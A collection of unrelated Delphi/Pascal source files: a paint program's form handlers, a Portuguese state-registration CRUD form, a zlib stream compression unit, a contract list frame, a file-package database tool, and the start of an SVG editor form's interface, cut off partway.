if DlgSaveImage.Execute() then
ImageBuf.SaveToFile( ChangeFileExt( DlgSaveImage.FileName,
DlgSaveImage.DefaultExt ) );
end;
procedure TMainForm.ExitItemClick(Sender: TObject);
begin
Close();
end;
procedure TMainForm.ClearItemClick(Sender: TObject);
begin
if ( MessageDlg('Are you sure?',
mtConfirmation,
mbYesNo, 0) = mrYes ) then begin
ClearImg( ImageBuf );
PaintBox.Invalidate();
end;
end;
procedure TMainForm.SizeItemClick(Sender: TObject);
begin
SizeForm.ShowModal();
end;
procedure TMainForm.AboutItemClick(Sender: TObject);
begin
ShowMessage( 'DAS IST another paint clone called "Artist"' +#13#10 +
'but this one with beautiful girl on icon ^^' +#13#10 +
#13#10 +
'by Dmitry D. Chernov who made it last night' );
end;
procedure TMainForm.WorkspaceClick(Sender: TObject);
begin
MainForm.ActiveControl := ScrollBox;
end;
{ PaintBox }
procedure TMainForm.PaintBoxMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
FColor, BColor: TColor;
begin
if not (CurTool = nil) then Exit;
case Button of
mbLeft: FColor := FColorBox.Selected;
mbRight: FColor := BColorBox.Selected;
else Exit;
end;
if SolidCB.Checked then BColor := BColorBox.Selected else BColor := clNone;
case SelTool of
TLPEN:
CurTool := TPen.Create( X, Y, FColor, BColor, PenSize.Position );
TLERASER:
CurTool := TPen.Create( X, Y, clWhite, clNone, PenSize.Position + 5 );
TLLINE:
CurTool := TLine.Create( X, Y, FColor, BColor, PenSize.Position );
TLRECT:
CurTool := TRectangle.Create( X, Y, FColor, BColor, PenSize.Position );
TLELLIPSE:
CurTool := TEllipse.Create( X, Y, FColor, BColor, PenSize.Position );
TCFILLER:
FillAtXY( ImageBuf.Canvas, X, Y, FColor );
end;
UpdateTool( X, Y );
end;
procedure TMainForm.PaintBoxMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
UpdateTool( X, Y );
end;
procedure TMainForm.PaintBoxMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if not (CurTool = nil) then begin
CurTool.Draw( ImageBuf.Canvas );
CurTool.Destroy();
CurTool := nil;
end;
end;
procedure TMainForm.PaintBoxPaint(Sender: TObject);
var
rect: TRect;
begin
rect := Bounds( 0, 0, PaintBox.Width, PaintBox.Height );
PaintBox.Canvas.CopyRect( rect, ImageBuf.Canvas, rect );
if not ( (CurTool = nil) or (CurTool is TPen) ) then
CurTool.Draw( PaintBox.Canvas );
end;
{ Additional routines }
procedure TMainForm.UpdateTool( X, Y: Integer );
begin
if not (CurTool = nil) then begin
CurTool.Update(X, Y);
if (CurTool is TPen) then CurTool.Draw( ImageBuf.Canvas );
end;
PaintBox.Invalidate();
end;
procedure ClearImg( image: TBitMap );
begin
image.Canvas.Pen.Color := clWhite;
image.Canvas.Brush.Color := clWhite;
image.Canvas.Rectangle(0, 0, image.Width, image.Height);
end;
end.
|
unit UEstado;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, UtelaCadastro, Vcl.ComCtrls,
Vcl.StdCtrls, Vcl.Mask, Vcl.Buttons, Vcl.ExtCtrls, Vcl.Grids, Vcl.DBGrids,
Generics.Collections, UController, UEstadoVO, UEstadoController;
type
TFTelaCadastroEstado = class(TFTelaCadastro)
LabelEditNome: TLabeledEdit;
LabelEditNomePais: TLabeledEdit;
btnConsultaEstado: TBitBtn;
LabelEditPais: TLabeledEdit;
GroupBox2: TGroupBox;
RadioButtonNome: TRadioButton;
procedure DoConsultar; override;
function DoSalvar: boolean; override;
function DoExcluir: boolean; override;
procedure FormCreate(Sender: TObject);
procedure BitBtnNovoClick(Sender: TObject);
function MontaFiltro: string;
procedure btnConsultaEstadoClick(Sender: TObject);
procedure CarregaObjetoSelecionado; override;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
function EditsToObject(Estado: TEstadoVO): TEstadoVO;
procedure GridParaEdits; override;
end;
var
FTelaCadastroEstado: TFTelaCadastroEstado;
implementation
uses UPais, UPaisVO;
var
ControllerEstado: TEstadoController;
{$R *.dfm}
{ TFTelaCadastroEstado }
procedure TFTelaCadastroEstado.BitBtnNovoClick(Sender: TObject);
begin
inherited;
LabelEditNome.SetFocus;
end;
procedure TFTelaCadastroEstado.btnConsultaEstadoClick(Sender: TObject);
var
FormPaisConsulta: TFTelaCadastroPais;
begin
FormPaisConsulta := TFTelaCadastroPais.Create(nil);
FormPaisConsulta.FechaForm := true;
FormPaisConsulta.ShowModal;
if (FormPaisConsulta.ObjetoRetornoVO <> nil) then
begin
LabelEditPais.Text :=
IntToStr(TPaisVO(FormPaisConsulta.ObjetoRetornoVO).idPais);
LabelEditNomePais.Text := TPaisVO(FormPaisConsulta.ObjetoRetornoVO)
.NomePais;
end;
FormPaisConsulta.Release;
end;
procedure TFTelaCadastroEstado.CarregaObjetoSelecionado;
begin
inherited;
if (not CDSGrid.IsEmpty) then
begin
ObjetoRetornoVO := ControllerEstado.ConsultarPorId(CDSGRID.FieldByName('IDESTADO').AsInteger);
end;
end;
{var
controllerPais: TController<TPaisVO>;
begin
inherited;
if (not CDSGrid.IsEmpty) then
begin
ObjetoRetornoVO := TEstadoVO.Create;
TEstadoVO(ObjetoRetornoVO).idEstado := CDSGrid.FieldByName('IDESTADO')
.AsInteger;
TEstadoVO(ObjetoRetornoVO).nomeEstado :=
CDSGrid.FieldByName('NOMEESTADO').AsString;
TEstadoVO(ObjetoRetornoVO).idPais := CDSGrid.FieldByName('IDPAIS')
.AsInteger;
controllerPais := TController<TPaisVO>.Create;
TEstadoVO(ObjetoRetornoVO).PaisVO := controllerPais.ConsultarPorId
(CDSGrid.FieldByName('IDPAIS').AsInteger);
FreeAndNil(controllerPais);
end;
end; }
procedure TFTelaCadastroEstado.DoConsultar;
var
listaEstado: TObjectList<TEstadoVO>;
filtro: string;
begin
filtro := MontaFiltro;
listaEstado := ControllerEstado.Consultar(filtro);
PopulaGrid<TEstadoVO>(listaEstado);
end;
function TFTelaCadastroEstado.DoExcluir: boolean;
var
Estado: TEstadoVO;
begin
try
try
Estado := TEstadoVO.Create;
Estado.idEstado := CDSGrid.FieldByName('IDESTADO').AsInteger;
ControllerEstado.Excluir(Estado);
except
on E: Exception do
begin
ShowMessage('Ocorreu um erro ao excluir o registro: ' + #13 + #13 +
E.Message);
Result := false;
end;
end;
finally
end;
end;
function TFTelaCadastroEstado.DoSalvar: boolean;
var
Estado: TEstadoVO;
begin
begin
Estado:=EditsToObject(TEstadoVO.Create);
try
try
if (Estado.ValidarCamposObrigatorios()) then
begin
if (StatusTela = stInserindo) then
begin
ControllerEstado.Inserir(Estado);
Result := true;
end
else if (StatusTela = stEditando) then
begin
Estado := ControllerEstado.ConsultarPorId(CDSGrid.FieldByName('IDESTADO')
.AsInteger);
Estado := EditsToObject(Estado);
ControllerEstado.Alterar(Estado);
Result := true;
end;
end
else
Result := false;
except
on E: Exception do
begin
ShowMessage(E.Message);
Result := false;
end;
end;
finally
end;
end;
end;
function TFTelaCadastroEstado.EditsToObject(Estado: TEstadoVO): TEstadoVO;
begin
Estado.nomeEstado := LabelEditNome.Text;
if (LabelEditPais.Text <> '') then
Estado.idPais := strtoint(LabelEditPais.Text);
Result := Estado;
end;
procedure TFTelaCadastroEstado.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
FreeAndNil(ControllerEstado);
end;
procedure TFTelaCadastroEstado.FormCreate(Sender: TObject);
begin
ClasseObjetoGridVO := TEstadoVO;
RadioButtonNome.Checked := true;
ControllerEstado := TEstadoController.Create;
inherited;
end;
procedure TFTelaCadastroEstado.GridParaEdits;
var
Estado: TEstadoVO;
begin
inherited;
Estado := nil;
if not CDSGrid.IsEmpty then
Estado := ControllerEstado.ConsultarPorId(CDSGrid.FieldByName('IDESTADO')
.AsInteger);
if Estado <> nil then
begin
LabelEditNome.Text := Estado.nomeEstado;
if (Estado.idPais > 0) then
begin
LabelEditPais.Text := IntToStr(Estado.PaisVO.idPais);
LabelEditNomePais.Text := Estado.PaisVO.NomePais;
end;
end;
end;
function TFTelaCadastroEstado.MontaFiltro: string;
begin
Result := '';
if (editBusca.Text <> '') then
Result := '( UPPER(NOMEESTADO) LIKE ' +
QuotedStr('%' + UpperCase(editBusca.Text) + '%') + ' ) ';
end;
end.
|
unit ziptools;
interface
uses
Windows, SysUtils, Classes, ZLib;
type
TZipProgress = procedure(CurBlock, TotBlock: integer; var AClose: Boolean) of object;
procedure CompressStream(AStreamInp: TStream; AStreamOut: TStream; AEvent: TZipProgress; Compression: byte); //stdcall;
procedure DecompressStream(AStreamInp: TStream; AStreamOut: TStream; AEvent: TZipProgress); // stdcall;
implementation
//TCompressionLevel = (clNone, clFastest, clDefault, clMax);
// clNone means out = in
// so it looks like should be used either clFastest or clMax
// Gaivans 03.01.2004 - New realization to handle large files
// Size of the buffer must be exactly MAXWORD for backward compatibily !)
var
lpBuffer: array[word] of char;
procedure CompressStream(AStreamInp: TStream; AStreamOut: TStream; AEvent: TZipProgress; Compression: byte); //stdcall;
var
ZStrm: TCompressionStream;
ComprLevel: TCompressionLevel;
nBytesRead: integer;
NeedClose: Boolean;
nSize: integer;
nRead: integer;
begin
ComprLevel := TCompressionLevel(Compression);
ZStrm := TCompressionStream.Create(ComprLevel, AStreamOut);
try
nSize := AStreamInp.Size div MAXWORD;
nRead := 0;
repeat
nBytesRead := AStreamInp.Read(lpBuffer, MAXWORD);
Inc(nRead);
ZStrm.Write(lpBuffer, nBytesRead);
if Assigned(AEvent) then
begin
AEvent(nRead, nSize, NeedClose);
if NeedClose then
Abort;
end;
until nBytesRead = 0;
finally
ZStrm.Free;
end;
end;
procedure DecompressStream(AStreamInp: TStream; AStreamOut: TStream; AEvent: TZipProgress); // stdcall;
var
ZStrm: TDecompressionStream;
// lpBuffer: array[Word] of Char;
nBytesRead: integer;
NeedClose: Boolean;
nSize: integer;
nRead: integer;
begin
ZStrm := TDecompressionStream.Create(AStreamInp);
try
nSize := AStreamInp.Size div MAXWORD;
nRead := 0;
repeat
nBytesRead := ZStrm.Read(lpBuffer, MAXWORD);
Inc(nRead);
AStreamOut.Write(lpBuffer, nBytesRead);
if Assigned(AEvent) then
begin
AEvent(nRead, nSize, NeedClose);
if NeedClose then
Abort;
end;
until nBytesRead = 0;
finally
ZStrm.Free;
end;
end;
end.
|
unit uFrameObjectList_ContractActual;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uFrameObjectList, uFrameBaseGrid, uFrameObjectsByProps,
ExtCtrls, uFrameObjectFilter, dxNavBarCollns, cxClasses, dxNavBarBase,
cxControls, dxNavBar, StdCtrls;
type
TFrameObjectList_ContractActual = class(TFrameObjectList)
private
FContractID: integer;
FOnDate: variant;
FForDelete: boolean;
{ Private declarations }
protected
procedure btn4ApplyFilterClick(Sender: TObject);
public
property ContractID: integer read FContractID write FContractID;
property OnDate: variant read FOnDate write FOnDate;
property ForDelete: boolean read FForDelete write FForDelete;
constructor Create(AOwner: TComponent); override;
end;
var
FrameObjectList_ContractActual: TFrameObjectList_ContractActual;
implementation
uses uParams;
{$R *.dfm}
procedure TFrameObjectList_ContractActual.btn4ApplyFilterClick(
Sender: TObject);
var
p: TParamCollection;
begin
p:=FrameObjectFilter.CreateFilterParams;
try
p['@код_Договор'].Value:=ContractID;
p['@НаДату'].Value:=OnDate;
p['@ДляУдаления'].Value:=ForDelete;
FrameByProps.ApplyFilterParams(p);
finally
p.Free;
end;
end;
constructor TFrameObjectList_ContractActual.Create(AOwner: TComponent);
begin
inherited;
FOnDate:=null;
FForDelete:=false;
self.FrameObjectFilter.bbApplyFilter.OnClick:=btn4ApplyFilterClick;
end;
end.
|
unit FilePackageWithZDBMainFrm;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls,
ObjectDataManagerFrameUnit, MemoryStream64, ObjectDataHashField, ObjectDataManager,
UnicodeMixedLib, CoreClasses, DoStatusIO, PascalStrings, FileIndexPackage;
type
TFilePackageWithZDBMainForm = class(TForm, IMemoryStream64ReadWriteTrigger)
TopPanel: TPanel;
NewButton: TButton;
OpenButton: TButton;
SaveButton: TButton;
OpenDialog: TOpenDialog;
SaveDialog: TSaveDialog;
SaveAsButton: TButton;
Memo: TMemo;
MD5Edit: TMemo;
CacheStateMemo: TMemo;
Timer: TTimer;
RecalcMD5Button: TButton;
CompressAsButton: TButton;
Bevel3: TBevel;
SaveAsCompressedDialog: TSaveDialog;
Splitter1: TSplitter;
Bevel4: TBevel;
Bevel5: TBevel;
Bevel7: TBevel;
BuildIndexPackageButton: TButton;
Bevel8: TBevel;
NewCustomButton: TButton;
ParallelCompressAsButton: TButton;
SaveAsParallelCompressedDialog: TSaveDialog;
procedure BuildIndexPackageButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure NewButtonClick(Sender: TObject);
procedure NewCustomButtonClick(Sender: TObject);
procedure OpenButtonClick(Sender: TObject);
procedure SaveButtonClick(Sender: TObject);
procedure SaveAsButtonClick(Sender: TObject);
procedure TimerTimer(Sender: TObject);
procedure RecalcMD5ButtonClick(Sender: TObject);
procedure CompressAsButtonClick(Sender: TObject);
procedure ParallelCompressAsButtonClick(Sender: TObject);
private
FDBEng: TObjectDataManager;
FDBManFrame: TObjectDataManagerFrame;
FTotalRead, FTotalWrite: Int64;
FOpenFile: U_String;
procedure DoStatusNear(AText: SystemString; const ID: Integer);
procedure TriggerWrite64(Count: Int64);
procedure TriggerRead64(Count: Int64);
public
procedure OpenFile(fileName: SystemString);
end;
var
FilePackageWithZDBMainForm: TFilePackageWithZDBMainForm;
implementation
{$R *.dfm}
uses BuildIndexPackageOptFrm, NewDBOptFrm;
procedure TFilePackageWithZDBMainForm.BuildIndexPackageButtonClick(Sender: TObject);
var
destDB: TObjectDataManager;
begin
if BuildIndexPackageOptForm.ShowModal <> mrOk then
exit;
destDB := TObjectDataManager.CreateNew(FDBEng.Handle^.FixedStringL, BuildIndexPackageOptForm.DestDBEdit.Text, DBMarshal.ID);
destDB.OverWriteItem := False;
BuildIndexPackage(FDBEng, destDB, ParallelCompressStream_Call, BuildIndexPackageOptForm.DataPathEdit.Text);
if CheckIndexPackage(destDB, BuildIndexPackageOptForm.DataPathEdit.Text) then
DoStatus('check index package: no error.');
disposeObject(destDB);
if messageDlg(Format('Do you want to open the "%s" file?', [BuildIndexPackageOptForm.DestDBEdit.Text]), mtInformation, [mbYes, mbNO], 0) <> mrYes then
exit;
OpenFile(BuildIndexPackageOptForm.DestDBEdit.Text);
end;
procedure TFilePackageWithZDBMainForm.FormCreate(Sender: TObject);
begin
FTotalRead := 0;
FTotalWrite := 0;
AddDoStatusHook(Self, DoStatusNear);
FDBEng := nil;
FDBManFrame := TObjectDataManagerFrame.Create(Self);
FDBManFrame.Parent := Self;
FDBManFrame.Align := alClient;
FDBManFrame.ResourceData := nil;
FOpenFile := '';
MD5Edit.Text := '';
NewButtonClick(NewButton);
end;
procedure TFilePackageWithZDBMainForm.FormDestroy(Sender: TObject);
begin
DeleteDoStatusHook(Self);
disposeObject(FDBManFrame);
disposeObject(FDBEng);
end;
procedure TFilePackageWithZDBMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := True;
end;
procedure TFilePackageWithZDBMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;
procedure TFilePackageWithZDBMainForm.NewButtonClick(Sender: TObject);
begin
FTotalRead := 0;
FTotalWrite := 0;
FDBManFrame.ResourceData := nil;
disposeObject(FDBEng);
FDBEng := TObjectDataManager.CreateAsStream(TMemoryStream64OfReadWriteTrigger.Create(Self), '', ObjectDataMarshal.ID, False, True, True);
FDBManFrame.ResourceData := FDBEng;
FOpenFile := '';
FDBEng.UpdateIO;
FDBEng.StreamEngine.Position := 0;
MD5Edit.Text := umlStreamMD5String(FDBEng.StreamEngine);
DoStatus('new DB. [fixed string size: %d]', [FDBEng.Handle^.FixedStringL]);
end;
procedure TFilePackageWithZDBMainForm.NewCustomButtonClick(Sender: TObject);
var
l: Integer;
begin
if NewDBOptForm.ShowModal <> mrOk then
exit;
l := umlClamp(umlStrToInt(NewDBOptForm.FixedStringEdit.Text, 65), 10, $FF);
FTotalRead := 0;
FTotalWrite := 0;
FDBManFrame.ResourceData := nil;
disposeObject(FDBEng);
FDBEng := TObjectDataManager.CreateAsStream(Byte(l), TMemoryStream64OfReadWriteTrigger.Create(Self), '', ObjectDataMarshal.ID, False, True, True);
FDBManFrame.ResourceData := FDBEng;
FOpenFile := '';
FDBEng.UpdateIO;
FDBEng.StreamEngine.Position := 0;
MD5Edit.Text := umlStreamMD5String(FDBEng.StreamEngine);
DoStatus('new DB. [fixed string size: %d]', [FDBEng.Handle^.FixedStringL]);
end;
procedure TFilePackageWithZDBMainForm.OpenButtonClick(Sender: TObject);
begin
if not OpenDialog.Execute then
exit;
OpenFile(OpenDialog.fileName);
end;
procedure TFilePackageWithZDBMainForm.SaveButtonClick(Sender: TObject);
var
stream: TFileStream;
begin
if FOpenFile = '' then
if not SaveDialog.Execute then
exit;
if FOpenFile = '' then
begin
FOpenFile := SaveDialog.fileName;
end;
stream := TFileStream.Create(FOpenFile, fmCreate);
try
FDBEng.SaveToStream(stream);
stream.Position := 0;
MD5Edit.Text := umlStreamMD5String(stream);
finally
disposeObject(stream);
end;
DoStatus('save %s', [FOpenFile.Text]);
Caption := PFormat('Package: %s', [umlGetFileName(FOpenFile).Text]);
Application.Title := PFormat('Package: %s', [umlGetFileName(FOpenFile).Text]);
end;
procedure TFilePackageWithZDBMainForm.SaveAsButtonClick(Sender: TObject);
var
stream: TFileStream;
begin
if not SaveDialog.Execute then
exit;
FOpenFile := SaveDialog.fileName;
stream := TFileStream.Create(FOpenFile, fmCreate);
try
FDBEng.SaveToStream(stream);
stream.Position := 0;
MD5Edit.Text := umlStreamMD5String(stream);
finally
disposeObject(stream);
end;
DoStatus('save %s', [FOpenFile.Text]);
Caption := PFormat('Package: %s', [umlGetFileName(FOpenFile).Text]);
Application.Title := PFormat('Package: %s', [umlGetFileName(FOpenFile).Text]);
end;
procedure TFilePackageWithZDBMainForm.TimerTimer(Sender: TObject);
begin
CacheStateMemo.Text := Format('File Size:%s IO Read:%s IO Write:%s',
[umlSizeToStr(FDBEng.Size).Text, umlSizeToStr(FTotalRead).Text, umlSizeToStr(FTotalWrite).Text]);
end;
procedure TFilePackageWithZDBMainForm.RecalcMD5ButtonClick(Sender: TObject);
begin
MD5Edit.Text := umlStreamMD5String(FDBEng.StreamEngine);
DoStatus('recalc md5:%s', [MD5Edit.Text]);
end;
procedure TFilePackageWithZDBMainForm.CompressAsButtonClick(Sender: TObject);
var
m64, C64: TMemoryStream64;
fn: string;
begin
SaveAsCompressedDialog.fileName := umlChangeFileExt(FOpenFile, SaveAsCompressedDialog.DefaultExt);
if not SaveAsCompressedDialog.Execute then
exit;
fn := SaveAsCompressedDialog.fileName;
m64 := TMemoryStream64.Create;
C64 := TMemoryStream64.Create;
try
FDBEng.SaveToStream(m64);
m64.Position := 0;
MD5Edit.Text := umlStreamMD5String(m64);
m64.Position := 0;
MaxCompressStream(m64, C64);
C64.SaveToFile(fn);
DoStatus('save as Compressed %s (source:%s compressed:%s)', [fn, umlSizeToStr(m64.Size).Text, umlSizeToStr(C64.Size).Text]);
finally
disposeObject([m64, C64]);
end;
end;
procedure TFilePackageWithZDBMainForm.ParallelCompressAsButtonClick(Sender: TObject);
var
m64, C64: TMemoryStream64;
fn: string;
begin
SaveAsParallelCompressedDialog.fileName := umlChangeFileExt(FOpenFile, SaveAsParallelCompressedDialog.DefaultExt);
if not SaveAsParallelCompressedDialog.Execute then
exit;
fn := SaveAsParallelCompressedDialog.fileName;
m64 := TMemoryStream64.Create;
C64 := TMemoryStream64.Create;
try
FDBEng.SaveToStream(m64);
m64.Position := 0;
MD5Edit.Text := umlStreamMD5String(m64);
m64.Position := 0;
ParallelCompressStream(TSelectCompressionMethod.scmZLIB_Max, m64, C64);
C64.SaveToFile(fn);
DoStatus('save as Compressed %s (source:%s compressed:%s)', [fn, umlSizeToStr(m64.Size).Text, umlSizeToStr(C64.Size).Text]);
finally
disposeObject([m64, C64]);
end;
end;
procedure TFilePackageWithZDBMainForm.DoStatusNear(AText: SystemString; const ID: Integer);
begin
Memo.Lines.Add(AText);
end;
procedure TFilePackageWithZDBMainForm.TriggerWrite64(Count: Int64);
begin
Inc(FTotalWrite, Count);
end;
procedure TFilePackageWithZDBMainForm.TriggerRead64(Count: Int64);
begin
Inc(FTotalRead, Count);
end;
procedure TFilePackageWithZDBMainForm.OpenFile(fileName: SystemString);
var
m64, C64: TMemoryStream64;
begin
FOpenFile := fileName;
FDBManFrame.ResourceData := nil;
disposeObject(FDBEng);
if umlMultipleMatch(True, '*.OXC', FOpenFile) then
begin
C64 := TMemoryStream64.Create;
m64 := TMemoryStream64OfReadWriteTrigger.Create(Self);
try
C64.LoadFromFile(FOpenFile);
C64.Position := 0;
DecompressStream(C64, m64);
m64.Position := 0;
FOpenFile := umlChangeFileExt(FOpenFile, '.OX').Text;
except
disposeObject(C64);
C64 := nil;
m64.Clear;
m64.LoadFromFile(FOpenFile);
m64.Position := 0;
end;
disposeObject(C64);
end
else if umlMultipleMatch(True, '*.OXP', FOpenFile) then
begin
C64 := TMemoryStream64.Create;
m64 := TMemoryStream64OfReadWriteTrigger.Create(Self);
try
C64.LoadFromFile(FOpenFile);
C64.Position := 0;
ParallelDecompressStream(C64, m64);
m64.Position := 0;
FOpenFile := umlChangeFileExt(FOpenFile, '.OX').Text;
except
disposeObject(C64);
C64 := nil;
m64.Clear;
m64.LoadFromFile(FOpenFile);
m64.Position := 0;
end;
disposeObject(C64);
end
else
begin
m64 := TMemoryStream64OfReadWriteTrigger.Create(Self);
m64.LoadFromFile(FOpenFile);
m64.Position := 0;
end;
MD5Edit.Text := umlStreamMD5String(m64);
FTotalRead := 0;
FTotalWrite := 0;
m64.Position := 0;
FDBEng := TObjectDataManager.CreateAsStream(m64, '', ObjectDataMarshal.ID, False, False, True);
FDBManFrame.ResourceData := FDBEng;
DoStatus('open %s [fixed string size: %d]', [FOpenFile.Text, FDBEng.Handle^.FixedStringL]);
Caption := PFormat('Package: %s', [umlGetFileName(FOpenFile).Text]);
Application.Title := PFormat('Package: %s', [umlGetFileName(FOpenFile).Text]);
BuildIndexPackageOptForm.DestDBEdit.Text := umlChangeFileExt(fileName, '') + '_index.OX';
BuildIndexPackageOptForm.DataPathEdit.Text := umlCombinePath(umlGetFilePath(fileName), 'DataCache\');
end;
end.
|
unit BVE.SVGEditorFormVCL;
// ------------------------------------------------------------------------------
//
// SVG Control Package 2.0
// Copyright (c) 2015 Bruno Verhue
//
// ------------------------------------------------------------------------------
// The SVG Editor need at least version v2.40 update 9 of the SVG library
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
{$IFnDEF FPC}
Winapi.Windows,
Winapi.Messages,
Winapi.ShellApi,
System.SysUtils,
System.Variants,
System.Types,
System.Classes,
System.Generics.Collections,
System.Actions,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.ToolWin,
Vcl.ActnMan,
Vcl.ActnCtrls,
Vcl.ActnList,
Vcl.ExtCtrls,
Vcl.PlatformDefaultStyleActnCtrls,
Vcl.StdCtrls,
Vcl.ComCtrls,
Vcl.ActnMenus,
Vcl.Grids,
Vcl.ValEdit,
Vcl.ImgList,
XML.XMLIntf,
{$ELSE}
{$IFDEF MSWINDOWS}
Windows,
{$ENDIF}
Types,
Classes,
SysUtils,
Forms,
Controls,
StdCtrls,
Graphics,
Clipbrd,
Generics.Collections,
ExtCtrls,
ComCtrls,
ActnList,
Dialogs,
ExtDlgs,
LclType,
{$ENDIF}
BVE.SVG2Intf,
BVE.SVG2Types,
BVE.SVGEditorVCL,
BVE.SVG2ImageList.VCL,
BVE.SVGPrintPreviewFormVCL;
type
TSVGEditorForm = class(TForm)
private
FActionAddPolygon: TAction;
FActionNew: TAction;
FActionSaveAs: TAction;
FActionAddRect: TAction;
FActionOpen: TAction;
FActionToolTransform: TAction;
FActionZoom1to2: TAction;
FActionAddImage: TAction;
FActionAddPolyline: TAction;
FActionPrint: TAction;
FActionZoom1to1: TAction;
FActionUndo: TAction;
FActionToolShape: TAction;
FActionRedo: TAction;
FActionCopy: TAction;
FActionDelete: TAction;
FActionAddLine: TAction;
FActionAddText: TAction;
FActionAddEllipse: TAction;
FActionExit: TAction;
FActionAddCircle: TAction;
FActionAddGroup: TAction;
FActionAddSVG: TAction;
FActionCut: TAction;
FActionAddPath: TAction;
FActionPaste: TAction;
FEditor: TSVGEditor;
FFormPrintPreview: TSVGPrintPreviewForm;
FTimerUpdatePage: TTimer;
FOpenDialog: TOpenDialog;
FSaveDialog: TSaveDialog;
FTreeviewXML: TTreeView;
FValueListEditorAttribute: TValueListEditor;
{$IFnDEF FPC}
procedure WMDROPFILES(var Msg: TWMDropFiles); message WM_DROPFILES;
{$ELSE}
procedure OnDropFiles(Sender: TObject; const FileNames: array of String);
{$ENDIF}
protected
procedure SetActionAddCircle(const Value: TAction);
procedure SetActionAddEllipse(const Value: TAction);
procedure SetActionAddGroup(const Value: TAction);
procedure SetActionAddImage(const Value: TAction);
procedure SetActionAddLine(const Value: TAction);
procedure SetActionAddPath(const Value: TAction);
procedure SetActionAddPolygon(const Value: TAction);
procedure SetActionAddPolyline(const Value: TAction);
procedure SetActionAddRect(const Value: TAction);
procedure SetActionAddSVG(const Value: TAction);
procedure SetActionAddText(const Value: TAction);
procedure SetActionCopy(const Value: TAction);
procedure SetActionCut(const Value: TAction);
procedure SetActionDelete(const Value: TAction);
procedure SetActionExit(const Value: TAction);
procedure SetActionNew(const Value: TAction);
procedure SetActionOpen(const Value: TAction);
procedure SetActionPaste(const Value: TAction);
procedure SetActionPrint(const Value: TAction);
procedure SetActionRedo(const Value: TAction);
procedure SetActionSaveAs(const Value: TAction);
procedure SetActionToolShape(const Value: TAction);
procedure SetActionToolTransform(const Value: TAction);
procedure SetActionUndo(const Value: TAction);
procedure SetActionZoom1to1(const Value: TAction);
procedure SetActionZoom1to2(const Value: TAction);
procedure SetOpenDialog(const Value: TOpenDialog);
procedure SetTreeviewXML(const Value: TTreeView);
procedure SetValueListEditorAttribute(const Value: TValueListEditor);
procedure SetSaveDialog(const Value: TSaveDialog);
procedure DoCreate; override;
procedure DoDestroy; override;
procedure DoShow; override;
procedure TreeViewXMLChange(Sender: TObject; Node: TTreeNode);
procedure TimerUpdatePageTimer(Sender: TObject);
procedure ValueListEditorAttributeEditButtonClick(Sender: TObject);
procedure ValueListEditorAttributeValidate(Sender: TObject; ACol, ARow: Integer;
const KeyName, KeyValue: string);
procedure ValueListEditorAttributeUpdate;
procedure ActionOpenExecute(Sender: TObject);
procedure ActionZoom1to1Execute(Sender: TObject);
procedure ActionZoom1to2Execute(Sender: TObject);
procedure ActionSaveAsExecute(Sender: TObject);
procedure ActionAddRectExecute(Sender: TObject);
procedure ActionAddSVGExecute(Sender: TObject);
procedure ActionCopyExecute(Sender: TObject);
procedure ActionCutExecute(Sender: TObject);
procedure ActionDeleteExecute(Sender: TObject);
procedure ActionPasteExecute(Sender: TObject);
procedure ActionUndoExecute(Sender: TObject);
procedure ActionRedoExecute(Sender: TObject);
procedure ActionToolTransformExecute(Sender: TObject);
procedure ActionToolShapeExecute(Sender: TObject);
procedure ActionNewExecute(Sender: TObject);
procedure ActionPrintExecute(Sender: TObject);
procedure ActionExitExecute(Sender: TObject);
procedure ActionAddCircleExecute(Sender: TObject);
procedure ActionAddEllipseExecute(Sender: TObject);
procedure ActionAddLineExecute(Sender: TObject);
procedure ActionAddPolylineExecute(Sender: TObject);
procedure ActionAddPolygonExecute(Sender: TObject);
procedure ActionAddPathExecute(Sender: TObject);
procedure ActionAddTextExecute(Sender: TObject);
procedure ActionAddImageExecute(Sender: TObject);
procedure ActionAddGroupExecute(Sender: TObject);
function CheckSelectionIsGroup(const aExceptions: Boolean): Boolean;
procedure ElementAdd(Sender: TObject; const aParent: ISVGElement;
const aIndex: Integer; const aElement: ISVGElement);
procedure ElementRemove(Sender: TObject; const aElement: ISVGElement);
procedure ElementSelect(Sender: TObject);
procedure SetAttribute(Sender: TObject; const aElement: ISVGElement;
const aName, aValue: TSVGUnicodeString);
procedure ToolSelect(Sender: TObject; const aTool: TSVGToolClass);
procedure TreeViewXMLNodeAdd(const aParent: IXMLNode; const aIndex: Integer;
const aElement: ISVGElement);
function TreeViewXMLNodeSelect: Boolean;
procedure TreeViewXMLNodeRemove(const aElement: ISVGElement);
procedure EnableActions;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure DocumentNew;
procedure DocumentOpen(const aFilename: string);
property ActionOpen: TAction read FActionOpen write SetActionOpen;
property ActionSaveAs: TAction read FActionSaveAs write SetActionSaveAs;
property ActionUndo: TAction read FActionUndo write SetActionUndo;
property ActionRedo: TAction read FActionRedo write SetActionRedo;
property ActionCut: TAction read FActionCut write SetActionCut;
property ActionCopy: TAction read FActionCopy write SetActionCopy;
property ActionPaste: TAction read FActionPaste write SetActionPaste;
property ActionDelete: TAction read FActionDelete write SetActionDelete;
